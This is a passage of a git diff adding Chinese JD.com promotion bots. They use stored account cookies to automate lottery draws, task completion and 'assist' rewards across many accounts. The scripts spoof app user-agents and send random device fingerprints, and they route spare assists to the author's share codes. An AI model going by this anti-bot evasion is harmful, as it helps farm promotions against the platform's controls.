this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_sxLottery.js b/jd_sxLottery.js new file mode 100644 index 0000000..19cb9d7 --- /dev/null +++ b/jd_sxLottery.js @@ -0,0 +1,416 @@ +/* +京东生鲜每日抽奖,可抽奖获得京豆, +活动入口:京东生鲜每日抽奖 +by:小手冰凉 +交流群:https://t.me/jdPLA2 +脚本更新时间:2021-12-31 +脚本兼容: Node.js +新手写脚本,难免有bug,能用且用。 +=========================== +[task_local] +#京东生鲜每日抽奖 +10 7 * * * jd jd_sxLottery.js, tag=京东生鲜每日抽奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_sxLottery.png, enabled=true + */ +const $ = new Env('京东生鲜每日抽奖'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = ""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await getCode(); //获取任务 + if ($.configCode) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + await showMsg(); + } + } + } else { + console.log('今天没有签到活动拉'); + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 6); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + // console.log(`任务${vo.taskName},已完成`); + continue; + } + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + if (vo.taskName == '每日签到') { + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + await getJump(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getCode() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html`, + headers: { + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + 'User-Agent': 'JD4iPhone/167874 (iPhone; iOS 14.2; Scale/3.00)', + 'Cookie': cookie, + "Host": "prodev.m.jd.com", + "Referer": "", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9", + "Accept": "*/*" + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + $.configCode = resp.body.match(/"activityCode":"(.*?)"/)[1] + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getJump(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJump API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_syj.js b/jd_syj.js new file mode 100644 index 0000000..9743974 --- /dev/null +++ b/jd_syj.js @@ -0,0 +1,852 @@ +/* +赚京豆脚本,一:做任务 天天领京豆(加速领京豆) +Last Modified time: 2021-7-3 17:58:02 +活动入口:赚京豆(微信小程序)-赚京豆-签到领京豆 +更新地址:jd_syj.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#赚京豆 +10 0,7,23 * * * jd_syj.js, tag=赚京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_syj.png, enabled=true + +================Loon============== +[Script] +cron "10 0,7,23 * * *" script-path=jd_syj.js, tag=赚京豆 + +===============Surge================= +赚京豆 = type=cron,cronexp="10 0,7,23 * * *",wake-system=1,timeout=3600,script-path=jd_syj.js + +============小火箭========= +赚京豆 = type=cron,script-path=jd_syj.js, cronexpr="10 0,7,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('赚京豆'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +$.tuanList = []; +$.authorTuanList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.authorTuanList = await getAuthorShareCode(''); + if (!$.authorTuanList) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.authorTuanList = await getAuthorShareCode('') || []; + } + const temp = await getAuthorShareCode('') || [] + $.authorTuanList = [...$.authorTuanList,...temp] + // await getRandomCode(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } + console.log(`\n\n内部互助 【赚京豆(微信小程序)-瓜分京豆】活动(优先内部账号互助(需内部cookie数量大于${$.assistNum || 4}个),如有剩余助力次数则给作者和随机团助力)\n`) + for (let i = 0; i < cookiesArr.length; i++) { + $.canHelp = true + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.canHelp && (cookiesArr.length > $.assistNum)) { + if ($.tuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,优先内部账号互助`) + for (let j = 0; j < $.tuanList.length; ++j) { + console.log(`账号 ${$.UserName} 开始给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`) + await helpFriendTuan($.tuanList[j]) + if(!$.canHelp) break + await $.wait(200) + } + } + if ($.canHelp) { + $.authorTuanList = [...$.authorTuanList, ...($.body1 || [])]; + if ($.authorTuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,如有剩余则给作者和随机团助力`) + for (let j = 0; j < $.authorTuanList.length; ++j) { + console.log(`账号 ${$.UserName} 开始给作者和随机团 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`) + await helpFriendTuan($.authorTuanList[j]) + if(!$.canHelp) break + await $.wait(200) + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +async function main() { + try { + // await userSignIn();//赚京豆-签到领京豆 + // await vvipTask();//赚京豆-加速领京豆 + await distributeBeanActivity();//赚京豆-瓜分京豆 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +//================赚京豆-签到领京豆=================== +let signFlag = 0; +function userSignIn() { + return new Promise(resolve => { + const body = {"activityId":"ccd8067defcd4787871b7f0c96fcbf5c","inviterId":"","channel":"MiniProgram"}; + $.get(taskUrl('userSignIn', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + signFlag = 0; + console.log(`${$.name}今日签到成功`); + if (data.data) { + let { alreadySignDays, beanTotalNum, todayPrize, eachDayPrize } = data.data; + message += `【第${alreadySignDays}日签到】成功,获得${todayPrize.beanAmount}京豆 🐶\n`; + if (alreadySignDays === 7) alreadySignDays = 0; + message += `【明日签到】可获得${eachDayPrize[alreadySignDays].beanAmount}京豆 🐶\n`; + message += `【累计获得】${beanTotalNum}京豆 🐶`; + } + } else if (data.code === 81) { + console.log(`【签到】失败,今日已签到`) + // message += `【签到】失败,今日已签到`; + } else if (data.code === 6) { + //此处有时会遇到 服务器繁忙 导致签到失败,故重复三次签到 + $.log(`${$.name}签到失败${signFlag}:${data.msg}`); + if (signFlag < 3) { + signFlag ++; + await userSignIn(); + } + } else if (data.code === 66) { + //此处有时会遇到 服务器繁忙 导致签到失败,故重复三次签到 + $.log(`${$.name}签到失败:${data.msg}`); + message += `【签到】失败,${data.msg}`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//================赚京豆-加速领京豆=================== +async function vvipTask() { + try { + $.vvipFlag = false; + $.rewardBeanNum = 0; + await vvipscdp_raffle_auto_send_bean(); + await pg_channel_page_data(); + if (!$.vvipFlag) return + await vviptask_receive_list();//做任务 + await $.wait(1000) + await pg_channel_page_data(); + } catch (e) { + $.logErr(e) + } +} +function pg_channel_page_data() { + return new Promise(resolve => { + const body = {"paramData": {"token": "3b9f3e0d-7a67-4be3-a05f-9b076cb8ed6a"}}; + $.get(taskUrl('pg_channel_page_data', 